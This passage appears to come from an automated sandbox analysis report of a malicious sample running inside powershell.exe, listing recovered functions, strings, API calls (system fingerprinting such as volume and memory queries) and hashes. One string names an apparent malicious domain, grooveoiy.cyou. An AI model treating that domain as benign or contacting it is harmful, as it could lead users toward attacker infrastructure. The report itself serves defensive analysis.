O, xrefs: 006E4053

Memory Dump Source

Source File: 00000003.00000002.2813822137.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_powershell.jbxd

Similarity

API ID:
String ID: $/$4i$O
API String ID: 0-501600467
Opcode ID: f843ed9353b1650a69b25c32c9db243bc9acb0fea01b92d8e148760c18f356fa
Instruction ID: f31082a9b4da175f503a7126148b7e6a1dd85d841e43cf1b0146da04546a6628
Opcode Fuzzy Hash: f843ed9353b1650a69b25c32c9db243bc9acb0fea01b92d8e148760c18f356fa
Instruction Fuzzy Hash: 1B212570911268CFCB60CF55D988BAEB7BAAF44304F1080E9D60A67344DB745F828F15

Function 006E4B34 Relevance: 5.1, Strings: 4, Instructions: 55COMMON

Download Yara Rule

Strings

B, xrefs: 006E4B4C
4i, xrefs: 006E4B3A
e, xrefs: 006E4B78
7, xrefs: 006E4F83

Memory Dump Source

Source File: 00000003.00000002.2813822137.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_powershell.jbxd

Similarity

API ID:
String ID: 4i$7$B$e
API String ID: 0-4003409026
Opcode ID: 2b8353dd4ff98c9fd90844413970a85358eaa66f61bc60bb156d2a5a87b89342
Instruction ID: ce328b37318009f681bd5abe49f3ce3efd9e270ade15b181f62d82efa7b52b28
Opcode Fuzzy Hash: 2b8353dd4ff98c9fd90844413970a85358eaa66f61bc60bb156d2a5a87b89342
Instruction Fuzzy Hash: 2721D6709122A8CFEB25CF95D958BADB7BAFB44340F1051DAE409A7380C7305E81CF51

Function 07090308 Relevance: 5.1, Strings: 4, Instructions: 51COMMON

Download Yara Rule

Strings

$]q, xrefs: 07090352
4']q, xrefs: 0709037F
4']q, xrefs: 07090373
$]q, xrefs: 0709035E

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q
API String ID: 0-978391646
Opcode ID: b90ddfa7d582392d1f9ce8a206fdd9895c0d5310302d89d3788933fc0f7da5ba
Instruction ID: c708022d161dc7d2f95b632272119b09fad0e5ec36270e5743520a7517c5eb55
Opcode Fuzzy Hash: b90ddfa7d582392d1f9ce8a206fdd9895c0d5310302d89d3788933fc0f7da5ba
Instruction Fuzzy Hash: B80184703493C75FCB6B563918201256FFA9FC391072A86E7D491CF257CD594D0593A3

Function 006EAEBB Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

/, xrefs: 006EB80E
;, xrefs: 006EB723
/, xrefs: 006EB7F1
4, xrefs: 006EAECB

Memory Dump Source

Source File: 00000003.00000002.2813822137.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_powershell.jbxd

Similarity

API ID:
String ID: /$/$4$;
API String ID: 0-937694297
Opcode ID: 8e09042c3b207fd46f6afd1219806f0945d6f40caa92696cb820fc3a894fc7e5
Instruction ID: c8658a512423cbca7c4e6e180a458d7292375778dfdf4dc6855f2a0d66f5dc7a
Opcode Fuzzy Hash: 8e09042c3b207fd46f6afd1219806f0945d6f40caa92696cb820fc3a894fc7e5
Instruction Fuzzy Hash: 36210370916398DFDB14CF99D884B9DB7F2BF05315F5096A9E408AB791C3B8A986CF00

Function 006E45AA Relevance: 5.0, Strings: 4, Instructions: 46COMMON

Download Yara Rule

Strings

X, xrefs: 006E5A8E
P, xrefs: 006E4616
8, xrefs: 006E5ABA
-, xrefs: 006E4642

Memory Dump Source

Source File: 00000003.00000002.2813822137.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_powershell.jbxd

Similarity

API ID:
String ID: -$8$P$X
API String ID: 0-3923647996
Opcode ID: b6e3b52fe0d7ee6631ad36113c77c9b53b7545a68fbbae73dd3dadda368c58f4
Instruction ID: 5b80483570e4436442e1b460e6d098ce01b9e803dbad35596ac730405235ae86
Opcode Fuzzy Hash: b6e3b52fe0d7ee6631ad36113c77c9b53b7545a68fbbae73dd3dadda368c58f4
Instruction Fuzzy Hash: 7D2106B0D12268CFDB65DF55E88879ABBB2BB88305F1041A9E509A7351C7340E89CF09

Function 006E5F8D Relevance: 5.0, Strings: 4, Instructions: 31COMMON

Download Yara Rule

Strings

-, xrefs: 006E5FB7
4i, xrefs: 006E4015
, xrefs: 006E4027
O, xrefs: 006E4053

Memory Dump Source

Source File: 00000003.00000002.2813822137.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_powershell.jbxd

Similarity

API ID:
String ID: $-$4i$O
API String ID: 0-856946773
Opcode ID: 642912abb4945fc2076775302dcd63f328eeeb5fc0c0ef40f6003b85347f1dd6
Instruction ID: 1724e4ef8ffd7f1e03e7e77c9d5ea2408f662f21c501d413ed3460e3d04237e9
Opcode Fuzzy Hash: 642912abb4945fc2076775302dcd63f328eeeb5fc0c0ef40f6003b85347f1dd6
Instruction Fuzzy Hash: 5E01E470C12368DFDF60DFA5E888BEDB6B2BF04304F0055AAE505A7340DBB44A858F01

Analysis Process: powershell.exePID: 4244, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.8%
Total number of Nodes:	354
Total number of Limit Nodes:	30

Executed Functions

Function 00612AB0 Relevance: 143.7, APIs: 3, Strings: 78, Instructions: 1973COMMON

Download Yara Rule

Strings

q, xrefs: 00613945
#, xrefs: 00614314
T, xrefs: 006141DC
>, xrefs: 006132CA
%, xrefs: 006145A5
., xrefs: 00613EBB
7, xrefs: 00614585
D, xrefs: 0061432C
o, xrefs: 006142DC
~, xrefs: 006140A9
:, xrefs: 006145B5
B, xrefs: 00612BA3
', xrefs: 00613F03
f, xrefs: 006142AC
h, xrefs: 00612DA2
(, xrefs: 006145D5
&, xrefs: 00613EFB
m, xrefs: 0061426C
O, xrefs: 00613118
(, xrefs: 0061433C
$, xrefs: 00613F0B
, xrefs: 00613915
e, xrefs: 00612D9A
J, xrefs: 00613493
4, xrefs: 00612B12
!, xrefs: 00614304
|, xrefs: 00613026
m, xrefs: 0061423C
,, xrefs: 00613ECB
|, xrefs: 00613443
", xrefs: 00613EDB
i, xrefs: 006142CC
r, xrefs: 0061424C
l, xrefs: 00613C7A
*, xrefs: 00613E9B
;, xrefs: 00612E56
l, xrefs: 006141FC
*, xrefs: 00614555
6, xrefs: 00612EF9
., xrefs: 00614595
), xrefs: 00614344
., xrefs: 006145C5
m, xrefs: 0061429C
x, xrefs: 006132BA
., xrefs: 00614535
*, xrefs: 00614565
D, xrefs: 0061493B
D, xrefs: 0061431C
J, xrefs: 006141BC
, xrefs: 00613EEB
y, xrefs: 006142BC
y, xrefs: 006132C2
@, xrefs: 0061417C
\, xrefs: 006132B2
}, xrefs: 006140A1
j, xrefs: 00613935
p, xrefs: 0061428C
), xrefs: 00612B9B
4, xrefs: 00613E8B
], xrefs: 0061418C
[, xrefs: 006141EC
I, xrefs: 006141CC
(, xrefs: 00613EAB
', xrefs: 00614334
1, xrefs: 00614545
D, xrefs: 006146AB
-, xrefs: 00614505
i, xrefs: 0061425C
S, xrefs: 006141AC
`, xrefs: 00613B62
}, xrefs: 00613925
C, xrefs: 0061419C
%, xrefs: 00614324
!, xrefs: 00613D08
M, xrefs: 006142FC
D, xrefs: 0061364A
/, xrefs: 006144F5
n, xrefs: 0061420C

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID:
String ID: $ $!$!$"$#$$$%$%$&$'$'$($($($)$)$*$*$*$,$-$.$.$.$.$/$1$4$4$6$7$:$;$>$@$B$C$D$D$D$D$D$I$J$J$M$O$S$T$[$\$]$`$e$f$h$i$i$j$l$l$m$m$m$n$o$p$q$r$x$y$y$|$|$}$}$~
API String ID: 0-426187509
Opcode ID: ecc9f6217df8ce18ad599a3169d04d7ec723f37bbc42ba25d7df70dd0905330b
Instruction ID: 878058b16b8f60881d12df20fb2100b2705cef37fbb43d502f5841f516de8485
Opcode Fuzzy Hash: ecc9f6217df8ce18ad599a3169d04d7ec723f37bbc42ba25d7df70dd0905330b
Instruction Fuzzy Hash: 1603CE3050C7C18AD3349B3884943EFBBE2AF96324F188A6DE4E9873D2D77985858757

Function 0063CFF0 Relevance: 35.9, APIs: 11, Strings: 9, Instructions: 903
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(rkde,00000000,00000001,?,00000000), ref: 0063D452
SysAllocString.OLEAUT32(87398536), ref: 0063D4F9
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0063D537
SysAllocString.OLEAUT32(742676D2), ref: 0063D5A5
SysAllocString.OLEAUT32(742676D2), ref: 0063D637
VariantInit.OLEAUT32(?), ref: 0063D6A6
SysFreeString.OLEAUT32(00000000), ref: 0063D999
SysFreeString.OLEAUT32(?), ref: 0063D99F
SysFreeString.OLEAUT32(00000000), ref: 0063D9B0
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0063D9EC

Strings

!rsp, xrefs: 0063D551
y>, xrefs: 0063D5ED
hi, xrefs: 0063D488
dvs, xrefs: 0063D2DE
rkde, xrefs: 0063D025
qU%W, xrefs: 0063D107
dvs, xrefs: 0063D0AA, 0063D070
A%8, xrefs: 0063D2FE
\L, xrefs: 0063D5E5

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: String$AllocFree$BlanketCreateInformationInitInstanceProxyVariantVolume
String ID: A%8$!rsp$\L$dvs$dvs$hi$qU%W$rkde$y>
API String ID: 2247799857-2349886934
Opcode ID: 678990e8e0ccf8f810361aa8cff4a60e4765691f77e99dacb926256867e84eaa
Instruction ID: cb1060ab3cf123349571a5f7d6f70ab79f53222e1f4b3ac745e6887049284df4
Opcode Fuzzy Hash: 678990e8e0ccf8f810361aa8cff4a60e4765691f77e99dacb926256867e84eaa
Instruction Fuzzy Hash: 6A62CC766083419BE324CF29D8507ABBBE2EFD5314F18892DE5D98B390D778D805CB82

Function 0061123B Relevance: 27.1, APIs: 1, Strings: 14, Instructions: 848
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

v, xrefs: 00611891
}, xrefs: 006115E9
%, xrefs: 006113E5
<, xrefs: 006115E4
C, xrefs: 006115DF
M, xrefs: 00611B43
1, xrefs: 00611BC2
Q, xrefs: 00611B33
@, xrefs: 006112F6
R, xrefs: 00611826
Y, xrefs: 0061170F
>, xrefs: 00611BCA
N, xrefs: 00611B3B
i, xrefs: 00611A4A

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID:
String ID: %$1$<$>$@$C$M$N$Q$R$Y$i$v$}
API String ID: 0-4071272931
Opcode ID: 8982bec39e5bbb52a4f99fc112c8434589a5438b66c2ca88ab66c6e82769a9a3
Instruction ID: b2b3645bffdc6f402baaea9cd45993f96d97a5081797e12fc5281dae197e6833
Opcode Fuzzy Hash: 8982bec39e5bbb52a4f99fc112c8434589a5438b66c2ca88ab66c6e82769a9a3
Instruction Fuzzy Hash: 3A62B57260C7808BD768DA38C4553EFBBD2AFD6320F1D8A6DD5E98B3C2D67489418742

Function 006088B0 Relevance: 7.8, APIs: 5, Instructions: 288
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 006088D4
GetCurrentThreadId.KERNEL32 ref: 006088DE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00608A5C
GetForegroundWindow.USER32 ref: 00608A71
ExitProcess.KERNEL32 ref: 00608C19

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: f6a26bda084d34cda3d30bdd4af06c68dee35beb409b9f862bd8cfd6754463bd
Instruction ID: fe8b3256e1d69a79fc87ccd968d1cdc3597a75edd480b147dba9e397a98a758c
Opcode Fuzzy Hash: f6a26bda084d34cda3d30bdd4af06c68dee35beb409b9f862bd8cfd6754463bd
Instruction Fuzzy Hash: 7A910673B587004FC71CEF68CD5235ABAD7ABC8310F1AC63DA499DB3D5EA7898058681

Function 0062FA70 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 378
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0062FFE9

Strings

iW, xrefs: 0062FFFD
?5 *, xrefs: 006301BA
6, xrefs: 00630077

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: 6$?5 *$iW
API String ID: 3960555810-1160662838
Opcode ID: e04d751e1dd40608a9d8c6cc0812da8e4955625a4f83728a5fcd7f984bc25016
Instruction ID: d4667690e661e5018d60281bdbddfde98dd8a47f3f5f1e4eff9ce14b5739d14f
Opcode Fuzzy Hash: e04d751e1dd40608a9d8c6cc0812da8e4955625a4f83728a5fcd7f984bc25016
Instruction Fuzzy Hash: 7CC1BD7150C3818EE725CF29C5603ABFFE2AF96314F18896DE0D997382D7798509CB52

Function 0062FF09 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 331
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0062FFE9

Strings

iW, xrefs: 0062FFFD
?5 *, xrefs: 006301BA
6, xrefs: 00630077

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: 6$?5 *$iW
API String ID: 3960555810-1160662838
Opcode ID: d41e62952cda190d44072631a8b53fa123459639e5cdbbcc70953b1201054091
Instruction ID: b107972d715a1cb229e576817a18119af1ed09a1cddbe56c25d9b11dfd994476
Opcode Fuzzy Hash: d41e62952cda190d44072631a8b53fa123459639e5cdbbcc70953b1201054091
Instruction Fuzzy Hash: 69A19B7050C3818EE725CF29C5603ABBFE2AF9A314F18496DE0D997382D7798509CB52

Function 0062FF1F Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 325
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0062FFE9

Strings

iW, xrefs: 0062FFFD
?5 *, xrefs: 006301BA
6, xrefs: 00630077

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: 6$?5 *$iW
API String ID: 3960555810-1160662838
Opcode ID: a2400f9a327a8581cf43ee07df8898d1767d64e59304700f5303603f73b79237
Instruction ID: 668b52cd9080686b2495c85ef0755f7f959df6c4b98acf468ffde4c770199f6b
Opcode Fuzzy Hash: a2400f9a327a8581cf43ee07df8898d1767d64e59304700f5303603f73b79237
Instruction Fuzzy Hash: A2A18B7050C3818EE725CF29C5603ABFFE2AF9A314F18896DE0D997392D7798509CB52

Function 0060E5C0 Relevance: 4.9, APIs: 1, Strings: 2, Instructions: 374
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0060E5F5

Strings

grooveoiy.cyou, xrefs: 0060E9E8
yd, xrefs: 0060E6D1

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: Uninitialize
String ID: grooveoiy.cyou$yd
API String ID: 3861434553-1897100118
Opcode ID: f0e94f176f36e22f230172669e1a2f366c41c207a9989b0bc724105e4137a0db
Instruction ID: 9a3f9d50ad580a60f84a04dd1c9b8d073ae8de9e5b666cc8524e4970c8d79537
Opcode Fuzzy Hash: f0e94f176f36e22f230172669e1a2f366c41c207a9989b0bc724105e4137a0db
Instruction Fuzzy Hash: FFC1ACB56047408FD329CF29C5A0767BBE2BF96308B29999CD0864F792D736E807CB51

Function 006259FC Relevance: 4.9, APIs: 3, Instructions: 354
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000), ref: 00625A33

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: d0f1ab4bb842b8f3fd96066a4cabe393282b9c25ede62ac7eda96756f362f5db
Instruction ID: 1ff298e083d9cf2e71ae23e3d00713156a89a77b84b9b7ab52125eacaed337f1
Opcode Fuzzy Hash: d0f1ab4bb842b8f3fd96066a4cabe393282b9c25ede62ac7eda96756f362f5db
Instruction Fuzzy Hash: 18B132B4900A15DFDB10CF68D8917AABBB1FF46314F148258E461AF384E774A946CFD1

Function 00636BB7 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 235
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00636CF6

Strings

0, xrefs: 00636FD2

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0
API String ID: 2525500382-4108050209
Opcode ID: 8758d65c4459a7b2fec1d46185273bb48297e46af65880b8c0fdfbec7ec2c5f6
Instruction ID: cb4d4c892fdd4aca506647911445a54fbee5c971b210c2a34f794796762bf6f2
Opcode Fuzzy Hash: 8758d65c4459a7b2fec1d46185273bb48297e46af65880b8c0fdfbec7ec2c5f6
Instruction Fuzzy Hash: FFC14E61619FC28EC331CA3C8855797BED26B67230F184B9DE1FA8B3D2D7606002C756

Function 00615CE3 Relevance: 1.8, APIs: 1, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed26c8a2ca6d197909b7d064a9cb89c0c1383d799aca4ce579a7b93a8c1d6bf8
Instruction ID: d42a1ebc73db29eea021a2b356fa44143fdd20576a8cd56f2c04014a58c31542
Opcode Fuzzy Hash: ed26c8a2ca6d197909b7d064a9cb89c0c1383d799aca4ce579a7b93a8c1d6bf8
Instruction Fuzzy Hash: D0B1F5B19083818FC728CF24D8517EBBBE3AF99314F084A2CE0D987392D7359955CB86

Function 00641FC0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0064541D,00000002,00000018,?,?,00000018,?,?,?), ref: 00641FEE

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 006322C8 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 187
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0063234A

Strings

0, xrefs: 006325C7

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0
API String ID: 2525500382-4108050209
Opcode ID: fdfa828ebbba7262813c70717861bf43491c2a39180cf4e1d314ad52d9f5907c
Instruction ID: 41fb2d5e9267c203f349c7bf6a46fe95117a1245bada23b580399527e29bb036
Opcode Fuzzy Hash: fdfa828ebbba7262813c70717861bf43491c2a39180cf4e1d314ad52d9f5907c
Instruction Fuzzy Hash: FAB1C42040CFC28ED332CB388858797BFD16B67224F484B9DD5FA5B2E2D3A56149D762

Function 00634CF8 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32 ref: 00634D04

Strings

0, xrefs: 00634FA2

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: FreeString
String ID: 0
API String ID: 3341692771-4108050209
Opcode ID: f6292ae77f6b821f2f3abb23314925b67b8db351ac47c95eef51e351179a7ead
Instruction ID: f67ab61aa66deea2189324f4e26371d3e37b8186b8ebe665084166c24a074167
Opcode Fuzzy Hash: f6292ae77f6b821f2f3abb23314925b67b8db351ac47c95eef51e351179a7ead
Instruction Fuzzy Hash: 3E91DA21508FC2CED332C63C8849787BFD16B67224F084B9D91FA8B7E2D765A505C766

Function 00634FCE Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 155memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0063503C

Strings

0, xrefs: 006352C9

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
